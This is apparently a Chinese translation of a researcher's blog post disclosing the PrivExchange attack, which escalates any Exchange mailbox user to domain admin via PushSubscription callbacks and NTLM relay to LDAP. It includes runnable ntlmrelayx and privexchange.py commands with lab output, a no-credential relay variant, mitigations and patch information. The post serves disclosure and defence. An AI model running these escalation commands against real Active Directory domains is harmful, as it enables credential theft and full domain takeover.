在大多数使用活动目录和 Exchange 的组织中,Exchange 服务器拥有过高的特权,以至于在 Exchange 服务器上拿到管理员权限就足以升级到域管理员权限。最近我偶然看到了 ZDI 的一篇博客文章,其中详细介绍了一种方法,可以通过 HTTP 使用 NTLM 对攻击者进行 Exchange 身份验证。这可以与 NTLM 中继攻击相结合,将任何拥有邮箱的用户升级到域管理员,在我所见过的使用 Exchange 的组织中,可能有90% 的组织中都可以成功利用这种攻击。这种攻击在默认情况下是可能成功利用的,在我撰写这篇博文时还没有可用的补丁,但是有一些缓解措施可以用来防止这种权限提升。本博客文章将会详细描述这种攻击,一些更具技术性的细节和缓解措施,并为这次攻击发布了一个概念验证工具,我称之为"PrivExchange"。更新: PrivExchange 的补丁已经发布,请参阅"已发布的更新"一节。
以一种新的方式结合已知的漏洞
本博客文章会将一些已知的漏洞和已知的协议弱点组合成一个新的攻击。我会将3个组件组合在一起,从任何拥有邮箱的用户的权限升级到域管理员访问:
· 默认情况下,Exchange 服务器具有(太)高的特权
· NTLM 身份验证容易受到中继攻击
· 有一个特性,可以使用 Exchange 服务器的计算机帐户向攻击者进行身份验证
Exchange 和高级特权
我们在这讨论的这个漏洞的主要产生原因是因为 Exchange 在 Active Directory 域中拥有过高的特权。Exchange Windows Permissions 组对 Active Directory 中的 Domain 对象具有 WriteDacl 访问权,这使得该组的任何成员都可以修改域特权,其中包括执行 DCSync 操作的特权。具有此特权的用户或计算机可以执行域控制器通常用于复制的同步操作,这使攻击者能够同步活动目录中用户的所有哈希密码。这已经被一些研究人员报道过了(见本文末尾的参考部分) ,去年我和我在 Fox-IT 的同事 Rindert 一起写过关于这个问题的文章。在那篇文章中,我还发布了对 ntlmrelayx 的更新,增加了在 NTLM 中继时执行这些基于访问控制列表(ACL)的攻击的可能性。
利用 NTLM 中继攻击机器帐户
NTLM 中继攻击已经存在了一段时间了。在此之前,主要的焦点是通过 SMB 转发 NTLM 身份验证,以便在其他主机上执行代码。不幸的是,这在许多公司的网络中仍然是可能成功利用的,因为它们没有通过启用 SMB 签名来强化这一点,其他协议也很容易受到中继攻击。在我看来,这方面最有趣的协议是 LDAP,它可用于读取和修改(活动)目录中的对象。如果你需要复习一下 NTLM 中继攻击,你可以阅读我前段时间写的一篇博文。简而言之,除非采用缓解措施,否则有可能通过 Windows 在连接到网络中的其他机器上的攻击者机器时(自动的)执行身份验证,如下图所示:
p.p1 {margin: 0.0px 0.0px 26.0px 0.0px; line-height: 23.0px; font: 20.0px Helvetica; color: #000000; -webkit-text-stroke: #393d41; background-color: #ffffff; min-height: 24.0px}span.s1 {font-kerning: none}
当身份验证中继到 LDAP 时,可以修改目录中的对象以授予攻击者特权,包括 DCSync 操作所需的特权。因此,如果我们可以让 Exchange 服务器通过 NTLM 身份验证向我们进行身份验证,我们就可以执行 ACL 攻击。需要注意的是,只有当受害者通过 HTTP 向我们进行身份验证,而不是通过 SMB 进行身份验证时,才能使用 LDAP (请参阅"技术部分"一节获得解释)。
让 Exchange 进行身份验证
到目前为止,唯一缺少的组件是一种可以让 Exchange 向我们进行身份验证的简单方法。ZDI 研究人员(在他们的文章中没有提到姓名)发现,可以通过 Exchange PushSubscription 特性让 Exchange 通过 HTTP 向任意 URL 发起验证。在他们的博客文章中,他们使用这个漏洞将 NTLM 身份验证传递回 Exchange (这被称为反射攻击)并冒充其他用户。如果我们将其与 Exchange 默认拥有的高权限结合起来,执行中继攻击而不是反射攻击,我们就可以使用这些权限来授予自己 DCSync 权限。推送通知服务有一个选项,即每隔 x 分钟发送一条消息(攻击者可以任意指定 x) ,即使没有发生任何事件。这可以确保即使收件箱中没有任何活动,Exchange 也会连接到我们的服务器。
执行权限提升攻击
下面显示了上述攻击的示意图,也就是升级特权所执行的步骤:
我们需要两个工具来执行攻击: privexchange.py 和 ntlmrelayx。你可以在 PrivExchange 的 GitHub 上获得这两个文件,也可以在 impacket 的代码存储库中获得这两个文件。以中继模式启动 ntlmrelayx,目标是在域控服务器上的 LDAP,然后提供一个攻击者已经控制的用户来升级权限(在本例中为 ntu 用户) :
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu
现在我们运行 privexchange.py 脚本:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
当对没有邮箱的用户运行此命令时,我们将得到上面的错误。让我们对一个已经有邮箱关联的用户再试一次:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
一分钟后(这是为推送通知指定的值) ,我们看到连接进入 ntlmrelayx,它给我们的用户赋予了 DCSync 特权:
通过查看 secretsdump.py 的输出内容,我们可以确认已经有了 DCSync 权限:
使用所有 Active Directory 用户的哈希密码,攻击者可以创建黄金票证来模拟任何用户,或者使用任何用户密码哈希来验证域中任何接受 NTLM 或 Kerberos 身份验证的服务。
技术部分——中继到 LDAP 并签名
我前面提到过,从 SMB 转发到 LDAP 不能正常工作,这也是为什么不能使用最近发布的 SpoolService RPC 滥用技术来执行此攻击的原因(因为这是通过 SMB 进行身份验证的)。既然关于这个的问题不断出现,并且有很多关于这个的疑惑,那就让我们来看看为什么会这样。如果你不想深入了解 NTLM 身份验证,可以跳过这一部分:)。
SMB 和 HTTP 中的 NTLM 身份验证的区别在于默认情况下协商的标志。有问题的部分是 NTLMSSP_NEGOTIATE_SIGN 标志(0x00000010) ,详见 MS-NLMP 第2.2.2.5节。默认情况下,HTTP 上的 NTLM 身份验证不会设置这个标志,但是如果在 SMB 协议中使用这个标志,默认情况下就会设置:
当我们将其传递给 LDAP 时,身份验证将会成功,但是 LDAP 将期望所有消息都使用从密码派生的会话密钥进行签名(在中继攻击中我们没有这种密码)。因此,它将忽略任何没有签名的消息,导致我们的攻击失败。有人可能想知道是否有可能在传输过程中修改这些标志,从而使没有经过协商的消息进行签名。这不适用于现代版本的 Windows,因为它们默认会包含 MIC (消息完整性代码) ,这是一个基于所有类型为 3的 NTLM 消息的签名,因此任何对消息的修改都将使其无效。
我们能去掉 MIC 吗?没错,我们可以这样做,因为它不在 NTLM 消息的受保护部分中。然而,NTLM 身份验证(仅仅是 NTLMv2)中还有最后一个保护可以防止这种情况: 在 NTLMv2响应(它本身使用受害者的密码签名)的深处,有一个 AV_PAIR 结构体,称为 MsvAvFlags。当该字段的值为0x0002时,它表示客户端发送了 MIC 和类型为 3的消息。
修改 NTLMv2响应将使身份验证失效,因此我们不能删除此标志字段。这个标志字段表示计算并包含了 MIC,这将使目标服务器验证 MIC,这反过来会验证所有类型为 3 的消息在传输过程中是否有被修改,因此我们不能删除签名标志。
我认为这只适用于微软实现的 NTLM。实现 NTLM 的自定义设备很可能不会起作用,除非添加了 MIC 和 AV_PAIR 标志,使它们易受标志修改的影响,从而使 SMB-LDAP 中继成为可能。在这方面的一个例子是 NTLM 的 Java 实现,可以在传输过程中对其进行修改,以绕过安全措施。
在没有任何凭证的情况下执行攻击
在上一节中,我们使用已经拿到的凭证执行攻击的第一步。如果攻击者只处于执行网络攻击的位置,但没有任何凭证,则仍有可能触发 Exchange 进行身份验证。如果我们执行 SMB 到 HTTP (或 HTTP 到 HTTP)的中继攻击(使用 LLMNR/NBNS/mitm6 欺骗) ,我们可以将同一网段中的用户的身份验证中继到 Exchange EWS,并使用他们的凭证触发回调(感谢 Mark 提出这个思路!) . 我添加了一个小的修改过的 httpattack.py,你可以使用这个工具从网络角度执行攻击,而不需要任何凭证(你只需修改你的攻击者主机,因为它在文件中是硬编码的):
缓解措施
这种攻击依赖于各种组件的工作。在之前的博客文章中,我已经强调了针对 NTLM 转发和专门针对 LDAP 转发的几种防御措施。
适用于这种攻击的最重要的缓解措施是:
· 通过运行以下命令,从一个修补的 Exchange CU移除 Exchange 对 Domain 对象拥有的不必要的高级特权setup.exe /PrepareAD (更多信息请见下面)
· 启用 LDAP 签名和 启用 LDAP 信道绑定 以防止转到 LDAP 和 LDAPS 的中继攻击
· 阻止 Exchange 服务器在任意端口上连接到工作站
· 在 IIS 中的 Exchange 端点上启用身份认证扩展保护 (但不包括 Exchange 后端,否则会中断 Exchange 服务)。这将验证 NTLM 身份验证中的通道绑定参数,该身份验证将 NTLM 身份验证绑定到 TLS 连接,并防止转到 Exchange web 服务的中继攻击。
· 删除允许中继攻击回到 Exchange 服务器的注册表项,如微软在CVE-2018-8518 的缓解措施中所讨论的那样。
· 在 Exchange 服务器上实施 SMB 签名(并且优先考虑域中的所有其他服务器和工作站) ,以防止跨协议中继攻击 SMB 服务器。
· 如果没有使用 EWS 推送/拉取订阅,则可以通过将 EWSMaxSubscriptions 设置为0,并使用节流策略,这个方法是由@gentilkiwi 发现的,可以在这里找到更多信息。我还没有针对合法的应用程序测试这种方法,因此建议在较小的用户范围内进行测试。
工具及受影响的版本
概念验证工具可以在 https://github.com/dirkjanm/PrivExchange 找到。这些工具已经在下面列出的 Exchange 和 Windows 版本上进行了测试:
· 2013(CU21) ,中继到 Server 2016DC (全部都打了补丁)
· 在 Server 2016上的 Exchange 2016(CU11)中继到 Server 2019 DC (全部打了补丁)
· Server 2019 上的Exchange 2019 中继到 Server 2019 DC (感谢 @gentilkiwi 的测试)
上面的 Exchange 服务器是使用共享权限模式(这是默认模式)安装的,但是根据这篇文章的说明 RBAC 分割权限部署也是存在漏洞的(我还没有亲自测试过)。
Exchange 2010 SP3似乎没有受到影响,在我的实验室里,这个版本的协议签名类似于上面描述的 SMB,它打破了中继攻击(感谢@lean0x2f 提到了这一点)。版本14.3.435.0(撰写本文时的最新更新)和14.3.123.4 都属于这种情况。
已发布的更新
2019年2月12日,微软发布了 Exchange 的更新,通过删除 Exchange 在发送通知时执行的自动身份验证,解决了这些问题。这涉及到以下 Exchange 版本:
· Exchange Server 2019 Cumulative Update 1
· Exchange Server 2016 Cumulative Update 12
· Exchange Server 2013 Cumulative Update 22
· Exchange Server 2010 Service Pack 3 Update Rollup 26
此外,他们还审查了 Exchange 所需的权限,并决定减少这些权限,以便 Exchange 在 AD 中不再拥有过高的权限。对于现有的 Exchange 安装,需要从更新的安装程序再次运行 Setup.exe /PrepareAD ,否则不会删除特权。对于 Exchange 2010,必须手动删除特权,KBKB4490059 中提供了相关的指令。
有关此补丁的详细信息,请参阅微软官方的 Exchange 博客。
注:本文参考自dirkjanm.io/